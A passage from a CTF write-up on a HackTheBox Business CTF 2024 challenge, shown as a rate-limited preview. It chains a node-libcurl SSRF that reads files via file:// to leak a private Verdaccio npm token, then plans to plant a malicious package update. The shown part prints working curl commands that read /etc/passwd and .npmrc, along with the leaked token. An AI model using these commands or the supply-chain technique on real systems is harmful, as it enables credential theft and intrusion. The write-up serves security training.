$ cat writeup.md…
$ cat writeup.md…
hackthebox_business_ctf_2024
Task: abuse an SSRF in node-libcurl-backed prisoner import to read local files and steal the private Verdaccio token. Solution: publish a compatible malicious prisoner-db update through a local Host-header proxy, let cron install it, then read the written flag back through file:// SSRF.
$ cat /etc/rate-limit
Rate limit reached (20 reads/hour per IP). Showing preview only — full content returns at the next hour roll-over.
One of our crew members has been captured by mutant raiders and is locked away in their heavily fortified prison. During an initial reconnaissance, the crew managed to gain access to the prison's record management system. Your mission: exploit this system to infiltrate the prison's network and disable the defenses for the rescuers.
Although the original challenge was placed under misc, the reliable solve path is best understood as a web + supply-chain challenge: a web SSRF leaks registry credentials, then a private npm package update yields code execution.
The accurate exploitation chain is:
POST /api/prisoners/import is SSRF via node-libcurl.file:// works, so local files are readable.file:///home/node/.npmrc leaks the Verdaccio auth token.prisoner-db package version to the private registry.npm outdated/update prisoner-db against localhost:4873 and restarts the app./readflag, and writes the result to /app/prisoner-repository/FLAG.txt.file:///app/prisoner-repository/FLAG.txt./api/prisoners/importThe application imports prisoner data from a user-supplied URL. The underlying package uses node-libcurl, so this is not just HTTP SSRF: file:// also works.
That makes local file reads trivial:
curl -s -X POST 'http://TARGET:1337/api/prisoners/import' \ -H 'Content-Type: application/json' \ -d '{"url":"file:///etc/passwd"}'
The endpoint returns a prisoner id. Fetching that record shows the raw imported content.
The useful target is /home/node/.npmrc:
curl -s -X POST 'http://TARGET:1337/api/prisoners/import' \ -H 'Content-Type: application/json' \ -d '{"url":"file:///home/node/.npmrc"}'
The leaked token was:
//localhost:4873/:_authToken="MWZlMmI1OTRiZjMwNTJkMjYwNWZhYTE1NGJlNTVjZDQ6OGRjNDBlMDE3YWNhYjViYzEwM2RlOTQzYzg3OWZiN2YwY2EyZGI5ZmMwMGI4ZWViZWVhZmUzZjc0Y2I2MWFiOTZmNWI1OWVhNTg0N2IwZmIwZQ=="
This is enough to authenticate to Verdaccio.
...
$ grep --similar